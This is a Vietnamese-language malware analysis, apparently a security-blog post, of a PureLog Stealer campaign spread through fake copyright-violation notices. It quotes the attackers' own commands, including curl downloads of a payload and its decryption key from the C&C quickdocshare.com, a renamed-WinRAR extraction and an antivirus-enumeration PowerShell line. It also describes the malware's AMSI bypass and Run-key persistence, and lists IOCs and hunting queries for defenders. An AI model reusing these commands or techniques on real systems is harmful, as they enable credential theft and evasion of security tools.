Skip to main content

Command Palette

Search for a command to run...

Chiến dịch PureLog Stealer - Chuỗi Tấn Công Nhiều Giai Đoạn Nhắm Vào Các Ngành Trọng Yếu

Published
15 min read
Chiến dịch PureLog Stealer -  Chuỗi Tấn Công Nhiều Giai Đoạn Nhắm Vào Các Ngành Trọng Yếu

Một file giả mạo thông báo vi phạm bản quyền đang được dùng để phát tán PureLog Stealer — một infostealer thương mại chi phí thấp nhưng được triển khai qua chuỗi tấn công đa tầng đáng lo ngại. Thay vì phân phối đại trà, chiến dịch này thể hiện rõ dấu hiệu của selective targeting: lure được bản địa hóa theo ngôn ngữ nạn nhân, payload mã hóa được tải từ C&C, và khóa giải mã được lấy động từ server riêng biệt.

Đối tượng bị ảnh hưởng: Tổ chức trong ngành y tế, chính phủ, khách sạn và giáo dục tại Đức, Canada, Mỹ và Úc. Chiến dịch cũng lạm dụng Google Ads malvertising song song với phishing email để phân phối payload.

Rủi ro cốt lõi: PureLog Stealer thu thập credential Chrome, extension trình duyệt, ví crypto và thông tin hệ thống — toàn bộ thực thi trong memory, không ghi file lên disk, khiến nhiều giải pháp AV truyền thống bỏ sót.

Hành động ưu tiên ngay: Block các domain C&C đã xác định, bật behavioral detection trên endpoint, và hunt proactively với query detectionName:*PURELOGSSTEALER* trong SIEM/EDR.


Tổng quan chiến dịch

PureLog Stealer vốn được biết đến là infostealer "entry-level" — giá rẻ, dễ dùng, thường được các threat actor ít kinh nghiệm khai thác. Điều làm chiến dịch này khác biệt không phải là bản thân payload, mà là delivery chain được thiết kế kỹ lưỡng bất thường cho một công cụ "low-cost".

Kỹ thuật này không phải ngẫu nhiên — nó tăng đáng kể tỷ lệ người dùng thực thi file vì lure trông "đúng ngữ cảnh" với môi trường làm việc của họ.

Điểm kỹ thuật nổi bật

  • DLL sideloading khởi tạo execution

  • Payload mã hóa giả dạng file PDF

  • Khóa giải mã được lấy từ endpoint riêng của C&C (không hardcode trong malware)

  • WinRAR bị đổi tên thành file PNG dùng để giải nén

  • Python loader giải mã và thực thi PureLog Stealer hoàn toàn trong memory


Chuỗi lây nhiễm chi tiết

Hình 1. Chuỗi lây nhiễm đầy đủ của chiến dịch

Hình 1. Chuỗi lây nhiễm đầy đủ của chiến dịch

Stage 1 — Người dùng thực thi lure file

Chuỗi lây nhiễm khởi động khi nạn nhân chủ động chạy file giả mạo. Không có exploit, không có zero-day — toàn bộ phụ thuộc vào social engineering. Executable sau đó gọi command interpreter:

cmd.exe /c ...

Stage 2 — Decoy document

Ngay lập tức, malware mở một file PDF "bình thường" để đánh lạc hướng người dùng:

start "" ".\_\document.pdf"

Kỹ thuật này tạo cảm giác hành động của người dùng là hợp lệ — họ thấy một tài liệu hiện ra đúng như kỳ vọng khi click vào "thông báo vi phạm bản quyền".

Stage 3 — Tải payload mã hóa

Malware tải payload từ C&C với một số kỹ thuật đáng chú ý:

curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ" -o ".\_\invoice.pdf"
  • Custom User-Agent curl/meow_meow: không khớp với bất kỳ browser/tool hợp lệ nào — indicator đơn giản nhưng hữu ích cho network detection

  • -k (ignore TLS validation): cho phép dùng self-signed cert ở C&C

  • -L (follow redirect): linh hoạt thay đổi hosting location

  • File lưu dưới tên invoice.pdf nhưng thực chất là encrypted archive

Stage 4 — Lấy khóa giải mã từ xa

Đây là điểm thiết kế thông minh nhất của chiến dịch. Thay vì embed password trong malware:

curl -A "curl/meow_meow" -s -k -L "https://quickdocshare.com/DQ/key"

Response được capture vào biến %i trong command line. Thiết kế này có ba hệ quả:

  1. Không có static password → analyst không thể giải mã payload khi offline

  2. Operator có thể rotate password per-victim → mỗi ca nhiễm có thể được kiểm soát độc lập

  3. Có thể vô hiệu hóa payload bất kỳ lúc nào bằng cách xóa key endpoint

Stage 5 — Giải nén bằng WinRAR đổi tên

".\_\FILE_2025년_재직증명서_원본.png" x -p"%i" ".\_\invoice.pdf" "C:\Users\Public\" -y

File .png trên thực chất là WinRAR executable bị đổi tên, giải nén payload với password lấy động từ Stage 4. Extension .png không ảnh hưởng đến khả năng thực thi — Windows thực thi dựa trên PE header, không phải extension.

Stage 6 — Xóa dấu vết

del ".\_\invoice.pdf"

Xóa file archive mã hóa sau khi giải nén xong, giảm forensic artifacts trên disk.

Stage 7 — Chuyển working directory

cd "C:\Users\Public\Windows"

Thư mục C:\Users\Public\Windows không tồn tại mặc định trên Windows — đây là directory malware tự tạo. Tên gợi nhớ đến C:\Windows hợp lệ nhưng nằm dưới Public, không yêu cầu quyền admin để ghi.

Stage 8 — Thực thi second-stage loader

"C:\Users\Public\Windows\svchost.exe" "instructions.pdf"

Hai điểm cần lưu ý:

  • svchost.exe ở đây không phải Windows service host hợp lệ — đây là python.exe bị đổi tên

  • instructions.pdf là Python script bị obfuscate, đóng vai trò loader cho hai .NET executable tiếp theo


Phân tích biến thể

Trend Micro xác định hai infection chain song song, chia sẻ cùng toolset nhưng có sự khác biệt rõ về operational security:

Điểm khác biệt Chain 2 (hoạt động trước) Chain 1 (hoạt động gần đây hơn)
Phân phối payload Tải trực tiếp từ C&C quickdocshare[.]com/DQ Đóng gói sẵn trong dropper
Khóa giải mã Lấy động từ C&C /DQ/key — không lưu trên disk Hardcode trong command line: efvBE97W7Ke4RnZaDTXOJzgqa04EPfz9
Thực thi cuối svchost.exe "instructions.pdf" — logic trong binary svchost.exe -c "exec(base64...)" — Python routine inline trong command
Phụ thuộc C&C Cần C&C online — liên lạc 2 endpoint Hoàn toàn offline sau khi dropper chạy

Chain 2 phức tạp hơn về operational security (không để key trên disk, cần C&C active). Chain 1 đơn giản hơn nhưng key hardcode — dễ bị extract hơn. Sự tồn tại của hai chain cho thấy operator đang iterate và test các approach khác nhau.


Phân tích instructions.pdf

Bất chấp extension .pdf, file này là Python script bị obfuscate nặng — mọi string đều Base64-encode, mọi hằng số đều ẩn sau biểu thức toán học nhiều hạng tử. Khi stripped toàn bộ noise, script triển khai 8 capability theo thứ tự thực thi xác định.

Hình 11. Các capability của instructions.pdf

Hình 11. Các capability của instructions.pdf

Capability 1: AMSI Bypass

Script vô hiệu hóa Windows Defender AMSI (Antimalware Scan Interface) trước khi load payload, thực hiện qua hai stage:

  • Stage 1: Patch entry point của AmsiScanBuffer với MOV EAX, E_INVALIDARG + JMP — function này sẽ luôn trả về "not malicious"

  • Stage 2: Scan forward từ entry point để tìm mọi conditional jump (JZ/JNZ) và thay bằng unconditional JMP — bypass vẫn hoạt động ngay cả khi Stage 1 bị partial detection

Hình 12. Python code patch AMSI trong memory để bypass antivirus scanning

Hình 12. Python code patch AMSI trong memory để bypass antivirus scanning

Capability 2: Reflective .NET Assembly Load qua COM/CLR

Sau khi vô hiệu AMSI, script load một .NET assembly mã hóa hoàn toàn trong memory. Quy trình:

  1. Bootstrap .NET CLR bằng raw COM vtable calls

  2. Construct SAFEARRAY chứa decrypted assembly bytes

  3. Gọi AppDomain.Load_3() để reflectively load và execute payload

Không có file nào được ghi xuống disk tại bước này. Calling convention được chọn runtime dựa trên kiến trúc 32/64-bit.

Hình 13. XOR-decrypted .NET payload được load và thực thi trong memory

Hình 13. XOR-decrypted .NET payload được load và thực thi trong memory

Capability 3: Registry Persistence

Script tự cài vào autorun registry dưới current user's Run key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value name: "SystemSettings"

Tên SystemSettings mimics Windows component hợp lệ. Script xóa value cũ trước khi ghi để đảm bảo path luôn current — malware sẽ re-execute mỗi lần user đăng nhập.

Hình 14. Python script thiết lập persistence

Hình 14. Python script thiết lập persistence

Capability 4: Full-Screen Capture

Script chụp toàn bộ desktop ở full resolution bằng Windows GDI API, xử lý raw 24-bit BGR pixel data, xây PNG file hoàn chỉnh trong memory — không dùng PIL/Pillow, không ghi file — sau đó Base64-encode để đưa vào JSON exfiltration payload.

Hình 15. Desktop capture được convert thành PNG và Base64-encode để exfiltrate

Hình 15. Desktop capture được convert thành PNG và Base64-encode để exfiltrate

Capability 5: Victim Fingerprinting

Trước khi exfiltrate screenshot, script thu thập:

  • Hostname của máy

  • Tên người dùng đang đăng nhập

  • Tên tất cả antivirus đang cài đặt (qua WMI SecurityCenter2)

powershell -NoProfile -WindowStyle Hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntivirusProduct | ForEach-Object { $_.displayName }"

Thông tin AV này phục vụ mục đích reconnaissance — xác định đây có phải high-value target không và lựa chọn payload tiếp theo phù hợp.

Hình 16. Machine fingerprint thu thập từ hệ thống nạn nhân

Hình 16. Machine fingerprint thu thập từ hệ thống nạn nhân

Capability 8: C&C Exfiltration qua HTTPS POST

Toàn bộ data được đóng gói JSON và gửi lên C&C qua HTTPS. Để tránh gửi trùng lặp sau mỗi lần boot (do persistence Run key), script kiểm tra registry key thứ hai:

HKCU\...\AppModel\StateRepository
Value: CacheVersion = 1337 (DWORD)

Sau lần exfiltrate thành công đầu tiên (HTTP 200), script ghi giá trị 1337 vào key này. Những lần chạy tiếp theo sẽ đọc key này và exit sớm nếu thấy 1337.

Hình 17. Screenshot và machine fingerprint được exfiltrate

Hình 17. Screenshot và machine fingerprint được exfiltrate


Từ loader đến payload cuối: PureLog Stealer in-memory

Script instructions.py chứa hai .NET executable payload được XOR-encrypt và Base64-encode. Khi thực thi, script giải mã ra Dgrfauysx.exeFsywsuac.exe, launch cả hai đồng thời.

Dual .NET Loader Design

Cả hai loader có cấu trúc giống nhau và đều được bảo vệ bởi ConfuserEx — obfuscator state-machine-based phân mảnh control flow qua hàng trăm switch-case branch. Pipeline giải mã:

  1. Gọi ResourceManager.GetObject() với resource name hardcode để lấy encrypted byte blob

  2. Giải mã blob bằng TripleDES-CBC (key và IV embed dưới dạng Base64 trong .NET #US heap)

  3. Decompress GZip stream ra .NET assembly trong memory

  4. Gọi Assembly.Load() — không ghi file nào xuống disk

Thiết kế hai loader chạy song song là redundancy mechanism: nếu một loader bị endpoint control chặn hoặc kill, loader kia vẫn độc lập deliver và execute PureLog Stealer. Cả hai dùng cùng C&C address và registry persistence key.

PureLog Stealer — Thực thi hoàn toàn trong managed heap

Assembly được load bởi Assembly.Load() là PureLog Stealer, thực thi hoàn toàn trong managed heap của loader process. Không có file nào được ghi, khiến AV truyền thống scan file creation events không phát hiện được. Sau khi loader chuyển control, nó thực hiện GC.Collect() để xóa object của mình khỏi heap, chỉ để lại PureLog Stealer là .NET code duy nhất đang active.

Hình 18. Chuỗi lây nhiễm đầy đủ đến PureLog Stealer

Hình 18. Chuỗi lây nhiễm đầy đủ đến PureLog Stealer


Pivot artifacts và telemetry

Download ban đầu

Hình 2. Malicious lure được tải về từ nguồn không xác định qua Chrome

Hình 2. Malicious lure được tải về từ nguồn không xác định qua Chrome

File ZIP ban đầu được tải về qua Chrome từ:

hxxps://cdn[.]eideasrl[.]it/Notice%20of%20Alleged%20Violation%20of%20Intellectual%20Property%20Rights_1770380091603[.]zip

Process và persistence

Hình 3. Malware thiết lập persistence trên hệ thống

Hình 3. Malware thiết lập persistence trên hệ thống

Python DLL và PYD files tạo dưới C:\Users\Public\Windows\:

C:\Users\Public\Windows\python314.dll
C:\Users\Public\Windows\DLLs\_ctypes.pyd
C:\Users\Public\Windows\DLLs\libffi-8.dll
C:\Users\Public\Windows\DLLs\_hashlib.pyd
C:\Users\Public\Windows\DLLs\libcrypto-3.dll
C:\Users\Public\Windows\DLLs\_socket.pyd
C:\Users\Public\Windows\DLLs\_ssl.pyd
C:\Users\Public\Windows\DLLs\libssl-3.dll

Antivirus enumeration

Hình 4. Antivirus enumeration trên hệ thống nạn nhân

Hình 4. Antivirus enumeration trên hệ thống nạn nhân

Process injection

Hình 5. Process injection attempt nhắm vào svchost.exe

Hình 5. Process injection attempt nhắm vào svchost.exe

Machine fingerprint

Hình 7. CyberChef recipe để extract machine fingerprint

Hình 7. CyberChef recipe để extract machine fingerprint

Hình 8. Machine fingerprint sau khi decode

Hình 8. Machine fingerprint sau khi decode

Field Giá trị quan sát Diễn giải
1.1.1 FD16FECEDAB57B025AB53AD9CA4C882F Machine/session unique ID
1.1.4 Windows Defender, Trend Micro Apex One Sản phẩm bảo mật đang cài
1.1.5 Windows 11 64Bit Phiên bản OS
1.1.6 4.3.0 Phiên bản malware/agent
1.1.10 64.40.154.96 External IP của máy nạn nhân
1.1.15 C:\Users\Public\Windows\svchost.exe Path executable đáng ngờ

C&C attribution

Hình 10. VirusTotal liên kết IP 166.0.184.127 với PureLog Stealer

Hình 10. VirusTotal liên kết IP 166.0.184.127 với PureLog Stealer, instructions.pdf được quan sát giao tiếp với C&C server này

GZip payload và decoding

Hình 6. Trend Micro Vision One telemetry cho thấy GZip Payload

Hình 6. Trend Micro Vision One telemetry cho thấy GZip Payload

Payload fingerprint được decode theo pipeline:

  1. Base64 Decode chuỗi ban đầu

  2. GZip Decompress ra dữ liệu có GZip header

  3. Protobuf Deserialize theo schema Protocol Buffers


Nhận định

Chiến dịch này minh họa một trend đáng quan ngại trong infostealer ecosystem: threshold kỹ thuật để triển khai multi-stage fileless attack đang ngày càng thấp. PureLog Stealer là công cụ low-cost, nhưng delivery chain ở đây có độ tinh vi ngang với nhiều APT campaign — infrastructure-controlled decryption, dual-loader redundancy, reflective CLR loading, và anti-forensics tích hợp ngay trong loader.

Điểm đặc biệt cần lưu ý: thiết kế "khóa giải mã từ xa" không chỉ cản trở phân tích mà còn cho phép operator tắt toàn bộ campaign ngay lập tức bằng cách đơn giản là xóa key endpoint. Điều này đồng nghĩa với việc incident responder có thể không thu thập được payload ngay cả khi đã có sample của các stage trước — đúng như Trend Micro gặp phải khi không thể lấy instructions.pdf trong lần response đầu.

Từ góc độ SOC, việc này nhấn mạnh tại sao memory forensics và network telemetry quan trọng hơn disk artifact. Trong môi trường fileless, các chỉ số đáng tin cậy nhất không phải là file hash mà là: network connection pattern (custom User-Agent, domain pattern), in-memory .NET assembly load, và bất thường trong registry Run key.

Việc chiến dịch kết hợp cả phishing email lẫn Google Ads malvertising cũng đáng lưu ý — nó mở rộng attack surface ra ngoài inbox, bao gồm cả người dùng tìm kiếm trên Google. Các tổ chức chỉ training nhân viên về "đừng click link trong email" chưa đủ bao phủ vector này.


Khuyến nghị

Immediate (0–24h)

  • Block các C&C domain và IP đã xác định trên firewall/proxy:

    quickdocshare[.]com
    dq[.]bestshoppingday[.]com
    logs[.]bestshopingday[.]com
    mh[.]bestshopingday[.]com
    logs[.]bestsaleshoppingday[.]com
    166[.]0[.]184[.]127
    
  • Tìm kiếm custom User-Agent curl/meow_meow trong proxy log và network flow — đây là indicator đơn giản nhưng khá độc nhất, ít false positive

  • Kiểm tra registry key HKCU\...\Run với value name SystemSettings trỏ đến path không nằm trong C:\Windows\System32\

Short-term (1–7 ngày)

  • Chạy hunting query trên toàn bộ fleet:

    detectionName:*PURELOGSSTEALER*
    
  • Hunt thêm với pattern file system:

    endpointHostName:[TARGET] AND ("*document.pdf*" OR "*instructions.pdf*" OR "*invoice.pdf*")
    
  • Kiểm tra process list tìm svchost.exe chạy từ path ngoài C:\Windows\System32\ — đặc biệt trong C:\Users\Public\

  • Review alert về Assembly.Load() từ process không phải .NET IDE hay development tool

  • Train người dùng nhận diện lure vi phạm bản quyền — không chỉ qua email mà cả qua search result/ads

Long-term

  • Triển khai behavioral detection cho in-memory .NET loading pattern — rule trigger trên AmsiScanBuffer patch attempt hoặc AppDomain.Load_3() call từ process không thuộc whitelist

  • Xem xét script-level logging (PowerShell Script Block Logging + AMSI logging) để capture obfuscated script execution

  • Với tổ chức có môi trường y tế hoặc chính phủ: ưu tiên review network egress rule, đặc biệt cho các request với User-Agent pattern bất thường hoặc curl-based download từ endpoint không thuộc whitelist


Hunting Queries & IOC

Trend Micro Vision One

detectionName:*PURELOGSSTEALER*

SIEM generic (Elastic/Splunk syntax)

# Network: custom curl User-Agent
user_agent:"curl/meow_meow"

# File system: svchost.exe ngoài System32
file.path:"C:\Users\Public\Windows\svchost.exe"

# Registry persistence
registry.key:*CurrentVersion\Run* AND registry.value.name:SystemSettings

# Process: Python giả dạng svchost
process.name:svchost.exe AND process.executable:*Public*

Hashes (SHA256)

File SHA256
Malicious ZIP (lure) 35efc4b75a1d70c38513b4dfe549da417aaa476bf7e9ebd00265aaa8c7295870
ADNotificationManager.exe (lure EXE) 1539dab6099d860add8330bf2a008a4b6dc05c71f7b4439aebf431e034e5b6ff
urlmon.dll (shellcode loader) ac591adea9a2305f9be6ae430996afd9b7432116f381b638014a0886a99c6287

svchost.exe (Python renamed) — SHA1

f4532fc1e5d53a732fcc883f7125ceb06b985048

IP và Domain

Domains:
  quickdocshare[.]com
  dq[.]bestshoppingday[.]com
  logs[.]bestshopingday[.]com
  mh[.]bestshopingday[.]com
  logs[.]bestsaleshoppingday[.]com

IP Addresses:
  166[.]0[.]184[.]127  — PureLog Stealer C&C
  64[.]40[.]154[.]96   — Tier.Net Technologies LLC
  172[.]64[.]80[.]1    — Cloudflare (CDN, thấp giá trị)

Nguồn tham khảo:

More from this blog

F

FPT IS Security

718 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.